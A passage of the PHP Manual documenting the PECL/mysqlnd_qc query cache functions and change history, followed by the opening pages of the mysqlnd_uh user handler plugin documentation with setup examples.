  ["query_aggr_store_time_cache_put"]=>
  string(1) "8"
  ["query_aggr_store_time_total"]=>
  string(2) "10"
  ["receive_bytes_recorded"]=>
  string(2) "65"
  ["receive_bytes_replayed"]=>
  string(2) "65"
  ["send_bytes_recorded"]=>
  string(2) "29"
  ["send_bytes_replayed"]=>
  string(2) "29"
  ["slam_stale_refresh"]=>
  string(1) "0"
  ["slam_stale_hit"]=>
  string(1) "0"
  ["request_counter"]=>
  int(1)
  ["process_hash"]=>
  int(3547549858)
}

See Also

  • Runtime configuration
  • mysqlnd_qc.collect_statistics
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc_get_cache_info() - Returns information on the current handler, the number of cache entries and cache entries, if available

User Contributed Notes

There are no user contributed notes for this page.


Returns a normalized query trace log for each query inspected by the query cache

  • « mysqlnd_qc_get_core_stats
  • mysqlnd_qc_get_query_trace_log »
  • PHP Manual
  • mysqlnd_qc Functions
  • Returns a normalized query trace log for each query inspected by the query cache

mysqlnd_qc_get_normalized_query_trace_log

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache

Description

array mysqlnd_qc_get_normalized_query_trace_log ( void )

Returns a normalized query trace log for each query inspected by the query cache. The collection of the trace log is disabled by default. To collect the trace log you have to set the PHP configuration directive mysqlnd_qc.collect_normalized_query_trace to 1

Entries in the trace log are grouped by the normalized query statement. The normalized query statement is the query statement with all statement parameter values being replaced with a question mark. For example, the two statements SELECT id FROM test WHERE id = 1 and SELECT id FROM test WHERE id = 2 are normalized as SELECT id FROM test WHERE id = ?. Whenever a statement is inspected by the query cache which matches the normalized statement pattern, its statistics are grouped by the normalized statement string.

Parameters

This function has no parameters.

Return Values

An array of query log. Every list entry contains the normalized query stringand further detail information.

Key | Description
query | Normalized statement string.
occurences | How many statements have matched the normalized statement string in addition to the one which has created the log entry. The value is zero if a statement has been normalized, its normalized representation has been added to the log but no further queries inspected by PECL/mysqlnd_qc have the same normalized statement string.
eligible_for_caching | Whether the statement could be cached. An statement eligible for caching has not necessarily been cached. It not possible to tell for sure if or how many cached statement have contributed to the aggregated normalized statement log entry. However, comparing the minimum and average run time one can make an educated guess.
avg_run_time | The average run time of all queries contributing to the query log entry. The run time is the time between sending the query statement to MySQL and receiving an answer from MySQL.
avg_store_time | The average store time of all queries contributing to the query log entry. The store time is the time needed to fetch a statements result set from the server to the client and, storing it on the client.
min_run_time | The minimum run time of all queries contributing to the query log entry.
min_store_time | The minimum store time of all queries contributing to the query log entry.
max_run_time | The maximum run time of all queries contributing to the query log entry.
max_store_time | The maximum store time of all queries contributing to the query log entry.

Examples

Example #1 mysqlnd_qc_get_normalized_query_trace_log() example

mysqlnd_qc.collect_normalized_query_trace=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* not cached */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* cache put */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

/* cache hit */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

var_dump(mysqlnd_qc_get_normalized_query_trace_log());
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(4) {
  [0]=>
  array(9) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [1]=>
  array(9) {
    ["query"]=>
    string(27) "CREATE TABLE test (id INT )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [2]=>
  array(9) {
    ["query"]=>
    string(40) "INSERT INTO test (id ) VALUES (? ), (? )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [3]=>
  array(9) {
    ["query"]=>
    string(31) "SELECT id FROM test WHERE id =?"
    ["occurences"]=>
    int(2)
    ["eligible_for_caching"]=>
    bool(true)
    ["avg_run_time"]=>
    int(159)
    ["min_run_time"]=>
    int(12)
    ["max_run_time"]=>
    int(307)
    ["avg_store_time"]=>
    int(10)
    ["min_store_time"]=>
    int(8)
    ["max_store_time"]=>
    int(13)
  }
}

See Also

  • Runtime configuration
  • mysqlnd_qc.collect_normalized_query_trace
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc_get_query_trace_log() - Returns a backtrace for each query inspected by the query cache

User Contributed Notes

There are no user contributed notes for this page.


Returns a backtrace for each query inspected by the query cache

  • « mysqlnd_qc_get_normalized_query_trace_log
  • mysqlnd_qc_set_cache_condition »
  • PHP Manual
  • mysqlnd_qc Functions
  • Returns a backtrace for each query inspected by the query cache

mysqlnd_qc_get_query_trace_log

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache

Description

array mysqlnd_qc_get_query_trace_log ( void )

Returns a backtrace for each query inspected by the query cache. The collection of the backtrace is disabled by default. To collect the backtrace you have to set the PHP configuration directive mysqlnd_qc.collect_query_trace to 1

The maximum depth of the backtrace is limited to the depth set with the PHP configuration directive mysqlnd_qc.query_trace_bt_depth.

Parameters

This function has no parameters.

Return Values

An array of query backtrace. Every list entry contains the query string, a backtrace and further detail information.

Key | Description
query | Query string.
origin | Code backtrace.
run_time | Query run time in milliseconds. The collection of all times and the necessary gettimeofday system calls can be disabled by setting the PHP configuration directive mysqlnd_qc.time_statistics to 0
store_time | Query result set store time in milliseconds. The collection of all times and the necessary gettimeofday system calls can be disabled by setting the PHP configuration directive mysqlnd_qc.time_statistics to 0
eligible_for_caching | TRUE if query is cacheable otherwise FALSE.
no_table | TRUE if the query has generated a result set and at least one column from the result set has no table name set in its metadata. This is usually the case with queries which one probably do not want to cache such as SELECT SLEEP(1). By default any such query will not be added to the cache. See also PHP configuration directive mysqlnd_qc.cache_no_table.
was_added | TRUE if the query result has been put into the cache, otherwise FALSE.
was_already_in_cache | TRUE if the query result would have been added to the cache if it was not already in the cache (cache hit). Otherwise FALSE.

Examples

Example #1 mysqlnd_qc_get_query_trace_log() example

mysqlnd_qc.collect_query_trace=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* not cached */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* cache put */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

/* cache hit */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

var_dump(mysqlnd_qc_get_query_trace_log());
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(6) {
  [0]=>
  array(8) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["origin"]=>
    string(102) "#0 qc.php(4): mysqli->query('DROP TABLE IF E...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [1]=>
  array(8) {
    ["query"]=>
    string(25) "CREATE TABLE test(id INT)"
    ["origin"]=>
    string(102) "#0 qc.php(5): mysqli->query('CREATE TABLE te...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [2]=>
  array(8) {
    ["query"]=>
    string(36) "INSERT INTO test(id) VALUES (1), (2)"
    ["origin"]=>
    string(102) "#0 qc.php(6): mysqli->query('INSERT INTO tes...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [3]=>
  array(8) {
    ["query"]=>
    string(32) "SELECT id FROM test WHERE id = 1"
    ["origin"]=>
    string(102) "#0 qc.php(9): mysqli->query('SELECT id FROM ...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(25)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [4]=>
  array(8) {
    ["query"]=>
    string(41) "/*qc=on*/SELECT id FROM test WHERE id = 2"
    ["origin"]=>
    string(103) "#0 qc.php(14): mysqli->query('/*qc=on*/SELECT...')
#1 {main}"
    ["run_time"]=>
    int(311)
    ["store_time"]=>
    int(13)
    ["eligible_for_caching"]=>
    bool(true)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(true)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [5]=>
  array(8) {
    ["query"]=>
    string(41) "/*qc=on*/SELECT id FROM test WHERE id = 2"
    ["origin"]=>
    string(103) "#0 qc.php(19): mysqli->query('/*qc=on*/SELECT...')
#1 {main}"
    ["run_time"]=>
    int(13)
    ["store_time"]=>
    int(8)
    ["eligible_for_caching"]=>
    bool(true)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(true)
  }
}

See Also

  • Runtime configuration
  • mysqlnd_qc.collect_query_trace
  • mysqlnd_qc.query_trace_bt_depth
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc.cache_no_table
  • mysqlnd_qc_get_normalized_query_trace_log() - Returns a normalized query trace log for each query inspected by the query cache

User Contributed Notes

There are no user contributed notes for this page.


Set conditions for automatic caching

  • « mysqlnd_qc_get_query_trace_log
  • mysqlnd_qc_set_is_select »
  • PHP Manual
  • mysqlnd_qc Functions
  • Set conditions for automatic caching

mysqlnd_qc_set_cache_condition

(PECL mysqlnd_qc >= 1.1.0)

mysqlnd_qc_set_cache_condition — Set conditions for automatic caching

Description

bool mysqlnd_qc_set_cache_condition ( int $condition_type , mixed $condition , mixed $condition_option )

Sets a condition for automatic caching of statements which do not contain the necessary SQL hints to enable caching of them.

Parameters

condition_type

Type of the condition. The only allowed value is MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN.

condition

Parameter for the condition set with condition_type. Parameter type and structure depend on condition_type

If condition_type equals MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN condition must be a string. The string sets a pattern. Statements are cached if table and database meta data entry of their result sets match the pattern. The pattern is checked for a match with the db and org_table meta data entries provided by the underlying MySQL client server library. Please, check the MySQL Reference manual for details about the two entries. The db and org_table values are concatenated with a dot (.) before matched against condition. Pattern matching supports the wildcards % and _. The wildcard % will match one or many arbitrary characters. _ will match one arbitrary character. The escape symbol is backslash.

condition_option

Option for condition. Type and structure depend on condition_type.

If condition_type equals MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN condition_options is the TTL to be used.

Examples

Example #1 mysqlnd_qc_set_cache_condition() example

<?php
/* Cache all accesses to tables with the name "new%" in schema/database "db_example" for 1 second */
if (!mysqlnd_qc_set_cache_condition(MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN, "db_example.new%", 1)) {
  die("Failed to set cache condition!");
}

$mysqli = new mysqli("host", "user", "password", "db_example", "port");
/* cached although no SQL hint given  */
$mysqli->query("SELECT id, title FROM news");

$pdo_mysql = new PDO("mysql:host=host;dbname=db_example;port=port", "user", "password");
/* not cached: no SQL hint, no pattern match */
$pdo_mysql->query("SELECT id, title FROM latest_news");
/* cached: TTL 1 second, pattern match */
$pdo_mysql->query("SELECT id, title FROM news");
?>

Return Values

Returns TRUE on success or FALSE on FAILURE.

See Also

  • Quickstart: pattern based caching

User Contributed Notes

There are no user contributed notes for this page.


Installs a callback which decides whether a statement is cached

  • « mysqlnd_qc_set_cache_condition
  • mysqlnd_qc_set_storage_handler »
  • PHP Manual
  • mysqlnd_qc Functions
  • Installs a callback which decides whether a statement is cached

mysqlnd_qc_set_is_select

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached

Description

mixed mysqlnd_qc_set_is_select ( string $callback )

Installs a callback which decides whether a statement is cached.

There are several ways of hinting PELC/mysqlnd_qc to cache a query. By default, PECL/mysqlnd_qc attempts to cache a if caching of all statements is enabled or the query string begins with a certain SQL hint. The plugin internally calls a function named is_select() to find out. This internal function can be replaced with a user-defined callback. Then, the user-defined callback is responsible to decide whether the plugin attempts to cache a statement. Because the internal function is replaced with the callback, the callback gains full control. The callback is free to ignore the configuration setting mysqlnd_qc.cache_by_default and SQL hints.

The callback is invoked for every statement inspected by the plugin. It is given the statements string as a parameter. The callback returns FALSE if the statement shall not be cached. It returns TRUE to make the plugin attempt to cache the statements result set, if any. A so-created cache entry is given the default TTL set with the PHP configuration directive mysqlnd_qc.ttl. If a different TTL shall be used, the callback returns a numeric value to be used as the TTL.

The internal is_select function is part of the internal cache storage handler interface. Thus, a user-defined storage handler offers the same capabilities.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqlnd_qc_set_is_select() example

<?php
/* callback which decides if query is cached */
function is_select($query) {
  static $patterns = array(
   /* true - use default from mysqlnd_qc.ttl */
   "@SELECT\s+.*\s+FROM\s+test@ismU" => true,
   /* 3 - use TTL = 3 seconds */
   "@SELECT\s+.*\s+FROM\s+news@ismU" => 3
  );
  /* check if query does match pattern */
  foreach ($patterns as $pattern => $ttl) {
    if (preg_match($pattern, $query)) {
      printf("is_select(%45s): cache\n", $query);
      return $ttl;
    }
  }
  printf("is_select(%45s): do not cache\n", $query);
  return false;
}
mysqlnd_qc_set_is_select("is_select");

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* cache put */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache hit */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache put */
$mysqli->query("SELECT * FROM test");
?>

The above examples will output:

is_select(                    DROP TABLE IF EXISTS test): do not cache
is_select(                    CREATE TABLE test(id INT)): do not cache
is_select(    INSERT INTO test(id) VALUES (1), (2), (3)): do not cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(                           SELECT * FROM test): cache

See Also

  • Runtime configuration
  • mysqlnd_qc.ttl
  • mysqlnd_qc.cache_by_default
  • mysqlnd_qc_set_user_handlers() - Sets the callback functions for a user-defined procedural storage handler

User Contributed Notes

There are no user contributed notes for this page.


Change current storage handler

  • « mysqlnd_qc_set_is_select
  • mysqlnd_qc_set_user_handlers »
  • PHP Manual
  • mysqlnd_qc Functions
  • Change current storage handler

mysqlnd_qc_set_storage_handler

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_set_storage_handler — Change current storage handler

Description

bool mysqlnd_qc_set_storage_handler ( string $handler )

Sets the storage handler used by the query cache. A list of available storage handler can be obtained from mysqlnd_qc_get_available_handlers(). Which storage are available depends on the compile time configuration of the query cache plugin. The default storage handler is always available. All other storage handler must be enabled explicitly when building the extension.

Parameters

handler

Handler can be of type string representing the name of a built-in storage handler or an object of type mysqlnd_qc_handler_default. The names of the built-in storage handler are default, APC, MEMCACHE, sqlite.

Return Values

Returns TRUE on success or FALSE on failure.

If changing the storage handler fails a catchable fatal error will be thrown. The query cache cannot operate if the previous storage handler has been shutdown but no new storage handler has been installed.

Examples

Example #1 mysqlnd_qc_set_storage_handler() example

The example shows the output from the built-in default storage handler. Other storage handler may report different data.

<?php
var_dump(mysqlnd_qc_set_storage_handler("memcache"));

if (true === mysqlnd_qc_set_storage_handler("default"))
  printf("Default storage handler activated");

/* Catchable fatal error */
var_dump(mysqlnd_qc_set_storage_handler("unknown"));
?>

The above examples will output:

bool(true)
Default storage handler activated
Catchable fatal error: mysqlnd_qc_set_storage_handler(): Unknown handler 'unknown' in (file) on line (line)

See Also

  • Installation
  • mysqlnd_qc_get_available_handlers() - Returns a list of available storage handler

User Contributed Notes

There are no user contributed notes for this page.


Sets the callback functions for a user-defined procedural storage handler

  • « mysqlnd_qc_set_storage_handler
  • Change History »
  • PHP Manual
  • mysqlnd_qc Functions
  • Sets the callback functions for a user-defined procedural storage handler

mysqlnd_qc_set_user_handlers

(PECL mysqlnd_qc >= 1.0.0)

mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler

Description

bool mysqlnd_qc_set_user_handlers ( string $get_hash , string $find_query_in_cache , string $return_to_cache , string $add_query_to_cache_if_not_exists , string $query_is_select , string $update_query_run_time_stats , string $get_stats , string $clear_cache )

Sets the callback functions for a user-defined procedural storage handler.

Parameters

get_hash

Name of the user function implementing the storage handler get_hash functionality.

find_query_in_cache

Name of the user function implementing the storage handler find_in_cache functionality.

return_to_cache

Name of the user function implementing the storage handler return_to_cache functionality.

add_query_to_cache_if_not_exists

Name of the user function implementing the storage handler add_query_to_cache_if_not_exists functionality.

query_is_select

Name of the user function implementing the storage handler query_is_select functionality.

update_query_run_time_stats

Name of the user function implementing the storage handler update_query_run_time_stats functionality.

get_stats

Name of the user function implementing the storage handler get_stats functionality.

clear_cache

Name of the user function implementing the storage handler clear_cache functionality.

Return Values

Returns TRUE on success or FALSE on FAILURE.

See Also

  • Procedural user-defined storage handler example

User Contributed Notes

There are no user contributed notes for this page.


Change History

Table of Contents

  • PECL/mysqlnd_qc 1.2 series
  • PECL/mysqlnd_qc 1.1 series
  • PECL/mysqlnd_qc 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_qc 1.2 series

1.2.0 - alpha

  • Release date: 03/2013
  • Motto/theme: PHP 5.5 compatibility

Feature changes

  • Update build for PHP 5.5 (Credits: Remi Collet)

  • APC storage handler update

    • Fix build for APC 3.1.13-beta and trunk

  • Introduced MYSQLND_QC_VERSION and MYSQLND_QC_VERSION_ID.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_qc 1.1 series

1.1.0 - stable

  • Release date: 04/2012
  • Motto/theme: PHP 5.4 compatibility, schema pattern based caching and mysqlnd_ms support

1.1.0 - beta

  • Release date: 04/2012
  • Motto/theme: PHP 5.4 compatibility, schema pattern based caching and mysqlnd_ms support

1.1.0 - alpha

  • Release date: 04/2012
  • Motto/theme: PHP 5.4 compatibility, schema pattern based caching and mysqlnd_ms support

Feature changes

  • APC storage handler update

    • Fix build for APC 3.1.9+
    • Note: Use of the APC storage handler is currently not recommended due to stability issues of APC itself.

  • New PHP configuration directives

    • mysqlnd_qc.collect_statistics_log_file. Aggregated cache statistics log file written after every 10th request served by the PHP process.
    • mysqlnd_qc.ignore_sql_comments. Control whether SQL comments are ignored for cache key hash generation.

  • New constants and SQL hints

    • MYSQLND_QC_SERVER_ID_SWITCH allows grouping of cache entries from different physical connections. This is needed by PECL/mysqlnd_ms.
    • MYSQLND_QC_CONDITION_META_SCHEMA_PATTERN to be used with mysqlnd_qc_set_cache_condition().

  • New function mysqlnd_qc_set_cache_condition() for built-in schema pattern based caching. Likely to support a wider range of conditions in the future.

  • Report valid_until timestamp for cache entries of the default handler through mysqlnd_qc_get_cache_info().

  • Include charset number for cache entry hashing. This should prevent serving result sets which have the wrong charset.

    API change: get_hash_key expects new "charsetnr" (int) parameter after "port".

  • API change: changing is_select() signature from bool is_select() to mixed is_select(). Mixed can be either boolean or array(long ttl, string server_id). This is needed by PECL/mysqlnd_ms.

Other

  • Support acting as a cache backend for PECL/mysqlnd_ms 1.3.0-beta or later to transparently replace MySQL Replication slave reads with cache accesses, if the user explicitly allows.

Bug fixes

  • Fixed Bug #59959 (config.m4, wrong library - 64bit memcached handler builds) (Credits: Remi Collet)

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_qc 1.0 series

1.0.1-stable

  • Release date: 12/2010
  • Motto/theme: Prepared statement support

Added support for Prepared statements and unbuffered queries.

1.0.0-beta

  • Release date: 07/2010
  • Motto/theme: TTL-based cache with various storage options (Memcache, APC, SQLite, user-defined)

Initial public release of the transparent TTL-based query result cache. Flexible storage of cached results. Various storage media supported.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd user handler plugin

  • Introduction
  • Quickstart and Examples
    • Setup
    • How it works
    • Installing a proxy
    • Basic query monitoring
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • MysqlndUhConnection — The MysqlndUhConnection class
    • MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection
    • MysqlndUhConnection::charsetName — Returns the default character set for the database connection
    • MysqlndUhConnection::close — Closes a previously opened database connection
    • MysqlndUhConnection::connect — Open a new connection to the MySQL server
    • MysqlndUhConnection::__construct — The __construct purpose
    • MysqlndUhConnection::endPSession — End a persistent connection
    • MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation
    • MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call
    • MysqlndUhConnection::getErrorString — Returns a string description of the last error
    • MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query
    • MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used
    • MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query.
    • MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query
    • MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used
    • MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server
    • MysqlndUhConnection::getServerStatistics — Gets the current system status
    • MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer
    • MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation
    • MysqlndUhConnection::getStatistics — Returns statistics about the client connection.
    • MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection
    • MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link
    • MysqlndUhConnection::init — Initialize mysqlnd connection
    • MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread
    • MysqlndUhConnection::listFields — List MySQL table fields
    • MysqlndUhConnection::listMethod — Wrapper for assorted list commands
    • MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query
    • MysqlndUhConnection::nextResult — Prepare next result from multi_query
    • MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • MysqlndUhConnection::query — Performs a query on the database
    • MysqlndUhConnection::queryReadResultsetHeader — Read a result set header
    • MysqlndUhConnection::reapQuery — Get result from async query
    • MysqlndUhConnection::refreshServer — Flush or reset tables and caches
    • MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection
    • MysqlndUhConnection::selectDb — Selects the default database for database queries
    • MysqlndUhConnection::sendClose — Sends a close command to MySQL
    • MysqlndUhConnection::sendQuery — Sends a query to MySQL
    • MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server
    • MysqlndUhConnection::setAutocommit — Turns on or off auto-committing database modifications
    • MysqlndUhConnection::setCharset — Sets the default client character set
    • MysqlndUhConnection::setClientOption — Sets a client option
    • MysqlndUhConnection::setServerOption — Sets a server option
    • MysqlndUhConnection::shutdownServer — The shutdownServer purpose
    • MysqlndUhConnection::simpleCommand — Sends a basic COM_* command
    • MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client
    • MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL
    • MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare
    • MysqlndUhConnection::storeResult — Transfers a result set from the last query
    • MysqlndUhConnection::txCommit — Commits the current transaction
    • MysqlndUhConnection::txRollback — Rolls back current transaction
    • MysqlndUhConnection::useResult — Initiate a result set retrieval
  • MysqlndUhPreparedStatement — The MysqlndUhPreparedStatement class
    • MysqlndUhPreparedStatement::__construct — The __construct purpose
    • MysqlndUhPreparedStatement::execute — Executes a prepared Query
    • MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution
  • Mysqlnd_uh Functions
    • mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle
    • mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections
    • mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements
  • Change History
    • PECL/mysqlnd_uh 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The mysqlnd user handler plugin (mysqlnd_uh) allows users to set hooks for most internal calls of the MySQL native driver for PHP (mysqlnd). Mysqlnd and its plugins, including PECL/mysqlnd_uh, operate on a layer beneath the PHP MySQL extensions. A mysqlnd plugin can be considered as a proxy between the PHP MySQL extensions and the MySQL server as part of the PHP executable on the client-side. Because the plugins operates on their own layer below the PHP MySQL extensions, they can monitor and change application actions without requiring application changes. If the PHP MySQL extensions (mysqli, mysql, PDO_MYSQL) are compiled to use mysqlnd this can be used for:

  • Monitoring

    • Queries executed by any of the PHP MySQL extensions

    • Prepared statements executing by any of the PHP MySQL extensions

  • Auditing

    • Detection of database usage

    • SQL injection protection using black and white lists

  • Assorted

    • Load Balancing connections

The MySQL native driver for PHP (mysqlnd) features an internal plugin C API. C plugins, such as the mysqlnd user handler plugin, can extend the functionality of mysqlnd. PECL/mysqlnd_uh makes parts of the internal plugin C API available to the PHP user for plugin development with PHP.

Note: Status

The mysqlnd user handler plugin is in alpha status. Take appropriate care before using it in production environments.

Security considerations

PECL/mysqlnd_uh gives users access to MySQL user names, MySQL password used by any of the PHP MySQL extensions to connect to MySQL. It allows monitoring of all queries and prepared statements exposing the statement string to the user. Therefore, the extension should be installed with care. The PHP_INI_SYSTEM configuration setting mysqlnd_uh.enable can be used to prevent users from hooking mysqlnd calls.

Code obfuscators and similar technologies are not suitable to prevent monitoring of mysqlnd library activities if PECL/mysqlnd_uh is made available and the user can install a proxy, for example, using auto_prepend_file.

Documentation note

Many of the mysqlnd_uh functions are briefly described because the mysqli extension is a thin abstraction layer on top of the MySQL C API that the mysqlnd library provides. Therefore, the corresponding mysqli documentation (along with the MySQL reference manual) can be consulted to receive more information about a particular function.

On the name

The shortcut mysqlnd_uh stands for mysqlnd user handler, and has been the name since early development.

User Contributed Notes

There are no user contributed notes for this page.


Quickstart and Examples

Table of Contents

  • Setup
  • How it works
  • Installing a proxy
  • Basic query monitoring

The mysqlnd user handler plugin can be understood as a client-side proxy for all PHP MySQL extensions (mysqli, mysql, PDO_MYSQL), if they are compiled to use the mysqlnd library. The extensions use the mysqlnd library internally, at the C level, to communicate with the MySQL server. PECL/mysqlnd_uh allows it to hook many mysqlnd calls. Therefore, most activities of the PHP MySQL extensions can be monitored.

Because monitoring happens at the level of the library, at a layer below the application, it is possible to monitor applications without changing them.

On the C level, the mysqlnd library is structured in modules or classes. The extension hooks almost all methods of the mysqlnd internal connection class and exposes them through the user space class MysqlndUhConnection. Some few methods of the mysqlnd internal statement class are made available to the PHP user with the class MysqlndUhPreparedStatement. By subclassing the classes MysqlndUhConnection and MysqlndUhPreparedStatement users get access to mysqlnd internal function calls.

Note:

The internal mysqlnd function calls are not designed to be exposed to the PHP user. Manipulating their activities may cause PHP to crash or leak memory. Often, this is not considered a bug. Please, keep in mind that you are accessing C library functions through PHP which are expected to take certain actions, which you may not be able to emulate in user space. Therefore, it is strongly recommended to always call the parent method implementation when subclassing MysqlndUhConnection or MysqlndUhPreparedStatement. To prevent the worst case, the extension performs some sanity checks. Please, see also the Mysqlnd_uh Configure Options.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See the installation instructions to install the » PECL/mysqlnd_uh extension. Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_uh.enable. The below example shows the default settings of the extension.

Example #1 Enabling the plugin (php.ini)

mysqlnd_uh.enable=1
mysqlnd_uh.report_wrong_types=1

